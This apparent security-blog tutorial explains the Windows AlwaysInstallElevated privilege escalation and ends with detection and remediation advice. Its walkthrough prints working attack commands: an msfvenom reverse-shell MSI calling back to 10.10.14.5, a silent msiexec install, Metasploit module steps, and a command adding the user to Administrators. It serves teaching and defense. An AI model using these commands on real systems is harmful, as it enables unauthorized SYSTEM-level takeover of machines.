AlwaysInstallElevated: MSI Privilege Escalation

AlwaysInstallElevated: MSI Privilege Escalation - article cover image Windows Privesc
2026.07.12
Time it takes to read this article 5 minutes.

Disclaimer: This article is provided strictly for educational purposes and authorized security testing. Only run these techniques against systems you own or have explicit written permission to assess. Unauthorized access to computer systems is illegal in virtually every jurisdiction and can carry severe penalties.

Introduction

The Windows Installer service (msiexec.exe) normally installs an MSI package with the privileges of the user who launched it — a standard user’s msiexec /i package.msi runs as that standard user, and any custom action embedded in the package is similarly constrained. AlwaysInstallElevated is a Group Policy setting, exposed as two registry values, that tells the Windows Installer service to instead run *every* MSI installation with full NT AUTHORITY\SYSTEM privileges, regardless of who invoked it or what rights that user actually holds.

It exists to let administrators push software to end users without granting them local admin rights — a legitimate deployment convenience in some managed environments. The problem is that Windows Installer does not distinguish a trusted, IT-pushed package from an arbitrary MSI an attacker drops on disk: once the two policy values are set, *any* authenticated user can build a malicious MSI, run msiexec /i, and have Windows Installer execute it — including any embedded custom action DLL or binary — as SYSTEM. It is one of the fastest, most reliable privilege escalations on Windows when present, requiring no exploit code and no vulnerability class beyond a misconfigured policy.

Attack Prerequisites

This is a pure misconfiguration issue — no memory corruption, no race condition. The requirements are narrow but absolute:

  • Both of the AlwaysInstallElevated registry values must be present and set to 1 — the machine-wide (HKLM) policy alone is not enough; the per-user (HKCU) policy must also be enabled, since Windows Installer only elevates when both scopes agree.
  • Local, interactive or shell access as any authenticated standard user — no special group membership or existing privilege is needed.
  • Ability to write and execute a file (drop the MSI and invoke msiexec), which is available by default to any logon session.

How It Works

The Windows Installer service itself always runs as LocalSystem — that part is normal and required so it can install software into protected locations. What differs based on policy is the security context the install actions execute in. By default, Windows Installer impersonates the calling user for the duration of the install, so a non-admin’s MSI can only write where that user could already write, and any custom action runs with that user’s token. AlwaysInstallElevated disables this impersonation: the installer runs the entire installation sequence — including custom actions, which can be arbitrary DLLs or EXEs bundled in the package — under the SYSTEM token instead.

Custom actions are the mechanism that turns this into code execution. The MSI format supports a CustomAction table that can launch an embedded EXE, call a function in an embedded DLL, or run inline VBScript at defined points in the install sequence (before, during, or after file installation). Because the policy removes the impersonation check entirely, whatever the custom action does — spawn cmd.exe, add a user to Administrators, drop a service — happens with SYSTEM’s full token, not the invoking user’s.

Microsoft’s own guidance has long warned against enabling this policy outside tightly controlled deployment scenarios precisely because Windows Installer has no way to verify that a given MSI came from a trusted software-distribution point versus an attacker’s temp directory — the elevation decision is made purely on the two registry flags, not on package origin, signature, or publisher.

Vulnerable Code / Configuration

The vulnerable configuration is the pair of AlwaysInstallElevated DWORD values — both must be 1 for the escalation to work, and both are trivially checked with reg query:

C:\> reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\Installer
    AlwaysInstallElevated    REG_DWORD    0x1

C:\> reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
HKEY_CURRENT_USER\SOFTWARE\Policies\Microsoft\Windows\Installer
    AlwaysInstallElevated    REG_DWORD    0x1
# Both keys = 1 -> msiexec installs run as SYSTEM regardless of caller.
# If either key is missing or 0, this vector is not exploitable.
TEXT

This is exactly what the corresponding Group Policy sets under Computer/User Configuration > Administrative Templates > Windows Components > Windows Installer > Always install with elevated privileges — a setting some organizations enable to simplify self-service software installs without realizing it removes Windows Installer’s privilege boundary entirely.

Walkthrough / Exploitation

With both registry values confirmed, build a malicious MSI with an embedded payload. msfvenom supports the MSI format directly:

msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.14.5 LPORT=443 \
  -f msi -o evil.msi
Bash

Transfer it to the target through any available channel and invoke msiexec in quiet mode so no UI prompt appears — the /qn and /quiet flags keep the install silent, which matters because the install runs as SYSTEM whether or not the invoking user is watching:

C:\Users\victim\Downloads> msiexec /quiet /qn /i evil.msi
# Windows Installer executes the embedded custom action as SYSTEM;
# the reverse-shell listener catches a NT AUTHORITY\SYSTEM shell.
TEXT

Metasploit ships the same primitive as a local exploit module for sessions already on a Meterpreter shell, which handles payload generation and cleanup automatically:

msf6 > use exploit/windows/local/always_install_elevated
msf6 exploit(always_install_elevated) > set SESSION 1
msf6 exploit(always_install_elevated) > set LHOST 10.10.14.5
msf6 exploit(always_install_elevated) > run
TEXT

For enumeration during an assessment, PowerUp’s dedicated check reads both registry paths and reports whether the vector is live without needing to touch msiexec at all:

Import-Module .\PowerUp.ps1
Get-RegistryAlwaysInstallElevated
PowerShell

Note: Because a custom action can be an arbitrary DLL export or embedded VBScript, a hand-crafted MSI is not limited to spawning a shell — a common, quieter alternative payload simply adds the current user to the local Administrators group (net localgroup Administrators %username% /add) as a custom action, which avoids opening a network callback entirely.

Opsec: msiexec /quiet /qn produces no visible dialog, but Windows Installer still writes verbose entries to the Application event log under source MsiInstaller by default, and the resulting child process of msiexec.exe spawning cmd.exe or an unsigned binary as SYSTEM is a very high-fidelity detection signal — expect this technique to be noisy on a monitored host.

Detection and Defense

This is one of the few privilege escalations that is fully closed by correcting a single policy — detection is a useful backstop, but remediation should always be the priority:

  • Disable AlwaysInstallElevated — set both HKLM and HKCU values to 0 or remove them, and disable the corresponding GPO setting; a single scope left enabled is not exploitable, so verify both.
  • Audit for the setting proactively with PowerUp, WinPEAS, or a simple reg query sweep across the fleet — this is cheap to check and should be part of routine baseline drift monitoring.
  • Windows Installer / Application event log (MsiInstaller source, Event ID 1040/1042 install start/stop) correlated with the invoking user’s actual privilege level flags installs that ran elevated for a non-admin account.
  • Sysmon Event ID 1 on msiexec.exe spawning shells, LOLBins, or unsigned child processes is a strong post-exploitation indicator regardless of root cause.
  • Least-privilege software deployment — prefer a proper software distribution tool (SCCM, Intune) that scopes elevated installs to signed, IT-published packages instead of a blanket policy flag.

Real-World Impact

AlwaysInstallElevated is a frequent finding in internal penetration tests and a staple of OSCP-style privilege-escalation labs precisely because it turns a single misapplied GPO into unauthenticated-to-SYSTEM code execution for any local user, with no exploit development required. It has been a documented Windows privilege-escalation vector for well over a decade and remains part of standard enumeration checklists (PowerUp, WinPEAS, Seatbelt) because legacy GPOs enabling it for deployment convenience persist long after the original business justification is forgotten.

Conclusion

AlwaysInstallElevated turns Windows Installer’s privilege boundary off by design, and the only thing standing between a standard user and SYSTEM is whether an administrator ever flipped that switch. It costs nothing to check and nothing to fix — audit both registry scopes on every build, disable the policy unless a genuinely scoped, signature-verified deployment workflow requires it, and treat any host where it is found enabled as an immediate SYSTEM-level finding.

You Might Also Like

If you found this useful, these related deep-dives cover adjacent techniques and their defenses:

Comments

Copied title and URL